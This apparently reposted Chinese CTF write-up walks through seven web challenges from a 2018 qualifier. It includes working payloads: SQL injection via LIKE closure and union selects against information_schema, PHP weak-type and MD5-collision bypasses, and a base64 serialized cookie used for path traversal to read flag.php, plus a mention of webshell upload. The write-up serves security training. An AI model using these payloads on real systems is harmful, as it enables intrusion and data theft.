首页 > 其他分享 >2018WEB安全测试秋季预选赛WriteUp

2018WEB安全测试秋季预选赛WriteUp

时间:2023-06-04 13:02:51浏览次数:47  
标签:36.69 114.55 WriteUp flag 预选赛 http php 2018WEB MD5


2018WEB安全测试秋季预选赛WriteUp_查看源码

0x01 input


传送门:http://114.55.36.69:8003/
题目上说前三道题目是容易的,于是就从容易的题目入手,为了拿到1血,手速飞快地点,emmm,一紧张忘了js输出语句怎么写了,百度后才发现,自己有多蠢alert啊!

进入网址,发现一个输入框,查看源码,发现id="flag",后面有一段js代码

<script>
    function check(){
        var flag = document.getElementById("flag").value;
        var str = "d84d9657e5e5e" || 0;
        var str = str + ("ad2ad3fe" && 2);
        var str = str + "a2da9494b8" + "ddea4fd4";
        var str = str.split("").reverse().join("");
        if (str == flag){
            alert("恭喜你已经找到flag!");
        }
    }
</script>

二话不说,直接console下执行,emmmm,可惜一下。

2018WEB安全测试秋季预选赛WriteUp_php_02

提交即可

0x02 MD5

传送门:http://114.55.36.69:8004/
打开后发现一段文字:easy MD5 cracking fail。应该与MD5有关,简单的就是弱类型,再不就是MD5碰撞,查看源码,发现是考察PHP弱类型

easy MD5 cracking <!--$_POST['data1']!=$_POST['data2']-->fail

脑补一下剩下的代码

if(($_POST['data1']!=$_POST['data2'])
&&(md5($_POST['data1'])==md5($_POST['data2']))
    echo $flag;

于是post传参:data1=QNKCDZO&data2=240610708,得到答案

2018WEB安全测试秋季预选赛WriteUp_3D_03

0x03 参数提交

传送门:http://114.55.36.69:8012/
flag作为参数,post方式提交,提示必须大于10位,提交flag=11111111111,即可得到flag。-.-

0x04 新闻查询

传送门:http://114.55.36.69:8010/

先上图

2018WEB安全测试秋季预选赛WriteUp_查看源码_04

有关键词,有条数,初步猜测是注入,关键词输入1'发现

2018WEB安全测试秋季预选赛WriteUp_查看源码_05

查看源码,发现前端过滤

function myFunction()
    {
        var x=document.getElementById("number").value;
        var a=document.getElementById("word").value;
        var b=a.replace(/[\ |\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\||\\|\[|\]|\{|\}|\;|\:|\"|\'|\,|\<|\.|\>|\/|\?|\·|\!|\(|\)|\¥|\——|\……|\【|\】|\、|\;|\:|\‘|\“|\”|\’|\,|\。|\、|\《|\》|\?|\ ]/g,"");
        if(a.length!=b.length)
        {
            alert("请输入正确字符。");
            document.getElementById("number").value = '';
            document.getElementById("word").value = '';
        }
        else if(isNaN(x))
        {
            alert("请输入数字。");
            document.getElementById("number").value = '';
        }
  }
于是手动禁掉js代码,并且猜测后端代码是关键词处查询处存在sql注入

2018WEB安全测试秋季预选赛WriteUp_3D_06

一直尝试,却没有任何回显,突然听说可以sqlmap直接跑,于是sqlmap启动!保存请求包,sqlmap -r payload.txt --dump

当时时间也是关键,能出flag就可以,写这个时候,才手动注入,像这种的关键词查询,一般都是使用like%%的模糊查询,所以需要闭合%,构造payload:1%' AND 1=1 AND '%'='

2018WEB安全测试秋季预选赛WriteUp_3D_07

成功注入

这里对like%%进行一些了解 首先我们在本地数据库中输入

mysql> select * from tests where password like '%a%';
+---------+----------+
| usename | password |
+---------+----------+
| admin   | password |
| admin   | admin    |
+---------+----------+
2 rows in set (0.00 sec)
mysql> select * from tests where password like '%as%';
+---------+----------+
| usename | password |
+---------+----------+
| admin   | password |
+---------+----------+
1 row in set (0.00 sec)
可以发现like%$value%相当于/.*$value.*/,如果注入的话,我们需要闭合前面的%',而且还有闭合后面的%'

2018WEB安全测试秋季预选赛WriteUp_3D_08

红框里面的内容为外部输入。


了解完like%%的注入,接着看题目

# 得到列
payload: 1%' order by 3-- 
返回正常
payload: 1%' order by 4--
返回异常
得知表有为3列
# 找回显点
payload: 1%' union select 1,2,3-- 
在页面下面出现1,2,3

2018WEB安全测试秋季预选赛WriteUp_3D_09

# 注入表,列,字段,此处省略过程
payload: 1%' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),(select group_concat(column_name) from information_schema.columns where table_schema=database()),flag from admin--

2018WEB安全测试秋季预选赛WriteUp_3D_10

成功拿到flag

0x05 MD5碰撞

传送门:http://114.55.36.69:8006/
又是一个关于MD5的题目,而且提示依然为:MD5 crackingfail。这样从分值与顺序看起来,不出意外就是MD5碰撞,查看源码发现

if((string)$_POST['data1']!==(string)$_POST['data2']&&md5($_POST['data1'])===md5($_POST['data2']))

这里两边都是强判断===,并且强制转换为string类型进行比较,听表哥说,只能通过md5碰撞绕过去 先了解一下什么是md5碰撞

## md5碰撞
从根本上讲,MD5算法是一种摘要算法,它可以从多个字节组成的串中计算出由32个字节构成的“特征串”。对于超过32字节的串来说,MD5计算得出的值必然是其一个子集,所以必然存在两个(或更多)不同的串能够得出相同MD5值的情况。这种情况就叫做MD5碰撞。

我们需要找到两个字符串不一样,但是MD5值一模一样的字符串,用MD5碰撞生成器生成

> fastcoll_v1.0.0.5.exe -o data1.txt data2.txt
MD5 collision generator v1.5
by Marc Stevens (http://www.win.tue.nl/hashclash/)
Using output filenames: 'data1.txt' and 'data2.txt'
Using initial value: 0123456789abcdeffedcba9876543210
Generating first block: .............
Generating second block: S01.....
Running time: 8.187 s

然后对data1.txt与data2.txt中的内容进行url编码后,curl发请求,或者在该网址中找,即可得到flag

root@Kali:~# curl -v http://114.55.36.69:8006/ -H "Cookie: PHPSESSID=0dvvm795lrkrck7r0t1gbn762n" --data "data1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&data2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2"
* Hostname was NOT found in DNS cache
*   Trying 114.55.36.69...
* Connected to 114.55.36.69 (114.55.36.69) port 8006 (#0)
> POST / HTTP/1.1
> User-Agent: curl/7.38.0
> Host: 114.55.36.69:8006
> Accept: */*
> Cookie: PHPSESSID=0dvvm795lrkrck7r0t1gbn762n
> Content-Length: 315
> Content-Type: application/x-www-form-urlencoded
> 
* upload completely sent off: 315 out of 315 bytes
< HTTP/1.1 200 OK
< Date: Sun, 28 Oct 2018 16:57:05 GMT
* Server Apache/2.2.15 (CentOS) is not blacklisted
< Server: Apache/2.2.15 (CentOS)
< X-Powered-By: PHP/5.3.3
< Content-Length: 156
< Connection: close
< Content-Type: text/html; charset=UTF-8
< 
* Closing connection 0
MD5 cracking<!-- if((string)$_POST['data1']!==(string)$_POST['data2']&&md5($_POST['data1'])===md5($_POST['data2']))-->flag{9bd1ee7355b58e53214adb9a37b4cb82}

在这备份几条

# first
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
# second
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2

0x06 Game

传送门:http://114.55.36.69:8011/

进入界面是一款贪吃蛇游戏,果断看js代码逻辑

2018WEB安全测试秋季预选赛WriteUp_php_11

F12查看源码外面是外部的js脚本,在Source中查看发现

2018WEB安全测试秋季预选赛WriteUp_3D_12

于是猜测这一段颜文字应该会有与flag相关的信息,于是console执行一下

2018WEB安全测试秋季预选赛WriteUp_3D_13

显然flag是错误的,点击view继续跟进参看

(function anonymous(
) {
window['flag'] = 'Flag{660332922504a5f06dd871a7fe78ba9c}';
console.log("Flag{ hahahah wrong!! :(}");
})

得到flag

0x07 Notepad

传送门:http://114.55.36.69:8014/index.php/

功能齐全,直接注册帐号,进入upload

2018WEB安全测试秋季预选赛WriteUp_php_14

修改type(只能传jpg)上传一张图片,然后在picture内查看到 发现图片中有一串base64,在bp中查看发现这一串base很长,在请求包的cookie中发现picture值解码发现为php序列化,而且保存的上传文件的文件名

2018WEB安全测试秋季预选赛WriteUp_php_15


2018WEB安全测试秋季预选赛WriteUp_查看源码_16

猜测picture的值提交后,就会把指定的文件的内容回显在img标签下,编码很显然是base64。于是显示index.php页面,手动构造序列化,在这里我们讲一下一组序列化的组成

例子:a:2:{i:0;s:5:"1.jpg";i:1;s:5:"1.php";}
a的意思就是数组array
2说明数组里面有两对值
分别为1.jpg与1.php
i作为下标
s代表为string类型
5表示长度
即
0=>1.jpg
1=>1.php

所以我们可以构造为:a:1:{i:0;s:9:"index.php";},base64后为YToxOntpOjA7czo5OiJpbmRleC5waHAiO30=,bp重放查看回显

2018WEB安全测试秋季预选赛WriteUp_查看源码_17

做到这,有两个思路,一个是上传一句话然后getshell,因为路径是爆出来了,仅仅是type限制;第二个是直接才flag在哪,读出来。

两种方法都很简单,不做细说,第一种改type为image/jpg后,访问http://114.55.36.69:8014/upload/x.php,然后传入命令find / -name flag*。第二种是测试发现,flag在../../flag.php下,然后构造a:1:{i:0;s:14:"../../flag.php";}=>YToxOntpOjA7czoxNDoiLi4vLi4vZmxhZy5waHAiO30=,请求

# request
GET /index.php/picture HTTP/1.1
Host: 114.55.36.69:8014
Proxy-Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://114.55.36.69:8014/index.php/picture
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Picture=YToxOntpOjA7czoxNDoiLi4vLi4vZmxhZy5waHAiO30=; PHPSESSID=1vm2g30rlcqosqsj9ici1rdku1; session=eyJsb2dpbiI6dHJ1ZSwidXNlcm5hbWUiOiJYWEgifQ.DreFfA.iwKT84kXV5efjz90397IoKUYiik
# response(part)
<img src="data:image/jpg;base64,PD9waHAKCiRmbGFnID0gImZsYWd7TjRtZV9zUGFjNF9Jc19JbnQzcjNzdDFuZ30iOwplY2hvICJmbGFne1RoaXNfMVNfQV9GNGtlX2YxYUd9IjsK">
# base64解密
<?php
$flag = "flag{N4me_sPac4_Is_Int3r3st1ng}";
echo "flag{This_1S_A_F4ke_f1aG}";

得到flag
 

2018WEB安全测试秋季预选赛WriteUp_php_18

标签:36.69,114.55,WriteUp,flag,预选赛,http,php,2018WEB,MD5
From: https://blog.51cto.com/u_14601424/6410426

相关文章

  • 小米 Online Judge TCO 预选赛 Rectangle [离散化+二维前缀和]
    题目链接:https://code.mi.com/problem/list/view?id=151&cid=13 解题思路:首先将x轴和y轴坐标离散化,然后就可以用二维前缀和求得每个格子被覆盖了几次,然后就可以求出每个格子的贡献,最后将总的贡献和乘以总的方案数的逆元即可。#include<bits/stdc++.h>#definexfirst#define......
  • CISCN2023 Quals Reverse Writeup
    打了两天,第一天出了俩,第二天就出了一个(还不是Android,只能说非常离谱ezbyte看师傅们的Writeup都说是DWARFExpression,可以直接用readelf-wf就行,我比赛的时候没看出来,直接动态调试分析的。这里看到把输入压栈,在栈上下内存断点直接断到虚拟机里了,然后动态调试即可给......
  • “百度杯”CTF比赛 九月场 SQL-writeup
     这题自己的收获:用<>隔开敏感字符,绕过防注入 题目界面:刚开始还是老规矩输入and1=1 发现被拦截 此外测试了or发现也进行了拦截我们可以用下面的字符来替换and和orand---->&&  ,   or----->|| 替换后发现可以成功绕过接下来进行猜字段长度 发现orderby......
  • BUAACTF2023 Writeup题解 by Joooook
    BUAACTF2023WriteupbyJoooook目录MiscWhichElementchatgptzhuzhuzhuzhu'srevengeScreenshotcarzymazeMCCryptoBlockCipherMathKeyExchangeWebmotaReverseoneQuiz'srevenge*SnakeMinesweepobfu可以从队名猜一下博主是哪里人(nooffline......
  • b01lers CTF & WolvCTF 2023 部分Re WriteUp
    这周打了两个比赛,个人感觉b01lersCTF偏简单一些,WolvCTF比前者难一点。养生型选手,一共做了三个题b01lersCTFSafe一个嵌入式逆向的题目,是逆向ArduinoUNO一个门锁......
  • 春秋云镜-【仿真场景】Brute4Road writeup
    说明Brute4Road是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机......
  • 春秋云镜-【仿真场景】Time-writeup
    说明Time是一套难度为中等的靶场环境,完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理......
  • 春秋云镜-【仿真场景】Initial writeup
    开启靶机后是一个带着ThinkPHPicon的登陆界面,直接测试一下存在5.0.23RCE打一下,PHP-7.4.3的环境,看一下disable_functionspcntl_alarm,pcntl_fork,pcntl_waitpid,pcnt......
  • 春秋云镜-【仿真场景】Exchange writeup
    0x00IntroOSCP渗透风格,脱离C2和MSF之类的工具Box难度不高 0x01InfoTag:JDBC,Exchange,NTLM,CoerceAuthentication,DCSync 0x02ReconTargetexternalIP39.98.......
  • 春秋云镜-【仿真场景】Spoofing writeup
    0x01–InfoTag:Tomcat,NTLM,WebClient,CoerceAuthentication,noPac0x02–ReconTargetexternalip47.92.146.66NmapresultsFocusonport8009(ajp),意味着是tomcat......